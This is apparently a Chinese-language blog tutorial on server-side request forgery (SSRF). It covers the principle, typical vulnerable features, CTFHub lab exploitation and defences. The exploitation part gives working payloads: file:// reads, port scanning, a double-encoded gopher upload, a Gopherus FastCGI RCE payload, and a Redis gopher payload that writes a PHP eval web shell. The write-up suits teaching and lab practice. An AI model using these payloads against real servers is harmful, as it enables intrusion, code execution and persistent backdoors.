SSRF漏洞原理、漏洞点、利用与防御 SSRF漏洞原理、漏洞点、利用与防御SSRF介绍SSRFServer-Side Request Forgery服务端请求伪造是一种网络安全漏洞攻击者可以构造恶意请求让服务端充当代理访问内网资源或者其它外网无法访问的资源绕过网络隔离和一些安全产品的限制。与CSRF不同CSRF是客户端的请求伪造SSRF是服务端的请求伪造。可以简单理解为让服务器充当代理从而访问其内部资源或其它有限制的资源。SSRF原理因为在搭建一个web应用的过程中难免会使用到一些外部服务器中的资源当服务端应用程序在处理用户可控的URL或资源地址时没有对目标地址、协议进行验证和限制可能会导致攻击者可以利用服务器作为代理访问内网系统、本地文件和云服务资源获取机密文件和数据。常见漏洞点图片与文件处理通过 URL 上传或者下载头像、封面、附件内容导入与预览在线文档或网页预览XML、SVG 与解析器XML 外部实体加载、SVG 外部资源引用、某些媒体处理库自动加载远程资源Webhook 与回调Webhook 地址配置、支付回调、消息回调SSRF的利用这里是在ctfhub靶场上做演示生产环境请在获得授权的情况下测试访问内网资源通过修改参数url来访问其内网环境获得其中资源。http://challenge-fa811493b7ea5804.sandbox.ctfhub.com:10800/?url127.0.0.1/flag.php通过伪协议读取本地文件这里讲一下php和Java的SSRF中两种语言可以利用的伪协议是不同的。如下php常用伪协议http、https、ftp、ftps、php、file、dict、data、gopherjava常用伪协议file、ftp、http、https、jar、mailto、netdoc(jdk11版本以下)、gopher(jdk1.8版本以下)这里我就不仔细说了查看资料链接如下https://xz.aliyun.com/news/195https://it.idocdown.com/app/articles/blogs/detail/2883https://www.freebuf.com/articles/web/364113.html通过file伪协议来读取本地文件http://challenge-be4b40038ada4d45.sandbox.ctfhub.com:10800/?urlfile:///var/www/html/flag.php进行端口扫描通过http协议进行端口扫描来确定目标主机开放了哪些网络服务以及这些服务可能暴露的风险。将包发到intruder来进行端口扫描查看结果就8729端口返回长度和其它不同打开就可以看到flag了上传文件打开靶场将url参数改成url127.0.0.1/flag.php可以看到文件上传位置但是没有提交按钮可以自己手动加inputtypesubmitnamesubmit但是我们直接提交文件是过不了的所以只能利用ssrf漏洞来提交我们可以利用gopher伪协议来提交文件下面这个是数据包网上直接找的POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 292 Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain SSRF Upload ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namesubmit 提交 ------WebKitFormBoundary1lYApMMA3NDrr2iY--但是要经过两次url编码因为在这里会进行两次url解码第一次是发送给web服务器会解码第二次是发送给gopher的服务会解码。这里要注意一个点如果在第一次url编码后换行符编码后是%0A的话要改成%0D%0A这个是因为网络协议规定一行结束必须使用 \r\n不能只用\n而一些编码器在编码的时候换行符默认是\n所以url编码后是%0A这个会导致我们的服务解析出现问题出现400的情况。二次编码后值如下POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--url的值为?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--成功拿到flag利用FastCGI协议实现RCEFastCGI 是通信协议PHP-FPM 是 PHP 对 FastCGI 的一种实现同时负责管理 PHP 工作进程可以理解为浏览器将http请求发送到nginx等中间件中间件将HTTP生成对应的FastCGI转给PHP-FPM从而使PHP解释器能执行脚本。这里我看下面几位师傅文章理解的如有错误请见谅https://blog.csdn.net/mysteryflower/article/details/94386461https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi这里使用Gopherus3-main工具使用教程https://blog.csdn.net/weixin_68416970/article/details/139440201我就不详细介绍了。下载安装完成后使用下面命令python -m gopherus3.gopherus --exploit fastcgi index.php cat /f*再进行url编码一次下面是最后答案这里要记得删除没有用的空格或者换行在这里踩一直坑后面网上找师傅们的wp才知道的?url gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500redis写入shell这里我工具出了点问题我直接给网上的URL了先用工具python2 gopherus.py --exploit redis生成gopher然后再进行一次url编码即可 一句话木马写?php eval($_POST[cmd]); ? 答案如下 ?urlgopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A使用hackbar执行cmdsystem(‘cat /f*’);就可以获得flag在我看来其实ssrf就是把攻击面扩大了而已原本只能攻击互联网中的资产但是有了ssrf后相当于你开了个代理可以到他们内网中去攻击他们内网资产。SSRF防御输入验证与过滤对输入的URL进行白名单验证不在白名单中进行禁止与限制可通过正则表达式来实现以及限制协议的端口与类型必要时还可以加token机制来限制爆破可用域名与协议。如加载URL中的照片时正常是urlhttp://XXX/a.jpg读取照片而没验证与过滤时可以是urlfile:///etc/passwd读取任意文件输出验证与过滤对输出的内容进行多方面验证如正则表达式匹配、后缀名匹配、内容匹配、格式匹配等等以及报错页面统一不要将报错信息直接传输个客户端。如获得照片的功能没有进行输出过滤正常是urlhttp://XXX/getjpg读取照片链接返回加载异常可能是urlhttp://XXX/getcard读取身份证号最小权限化给服务和应用程序应该只给它可以完成其功能所需要的最低权限。如某服务只是把用户头像存入对象存储它不应该拥有管理员角色禁用重定向禁止 HTTP 客户端自动跟随重定向若业务必须支持重定向应逐跳校验协议、域名、端口及解析后的 IP 地址。如HTTP 客户端自动跟随重定向就可能访问云服务器的元数据地址或者内网资源形成 SSRF超时返回错误页面对外部请求设置较短的连接超时和读取超时。发生超时时统一返回通用错误页面不向用户暴露目标地址、内网 IP、端口、连接状态或底层异常信息。如攻击者控制的服务器每隔几十秒只返回少量数据并且应用没有读取超时和响应大小限制一次请求可能长期占用工作线程。大量类似请求可能耗尽资源造成拒绝服务配置Web应用防火墙WAF这个就老生常谈的事情了我就不过多解释了各位师傅这方面可能比我厉害多了。总结SSRF 的本质是服务端对用户可控的 URL 缺少限制导致攻击者借助服务器访问内网、本地文件或云资源进而造成信息泄露、端口探测甚至代码执行。SSRF 相当于为攻击者提供了一个位于目标网络内部的代理使攻击面从公网资产扩大到内网服务及其他受限资源。因此防御时应结合 URL 白名单、协议与端口限制、内网地址拦截、重定向校验、超时与响应大小限制、输出过滤、最小权限和网络隔离等措施。WAF 只能作为补充不能替代代码层和网络层的安全控制。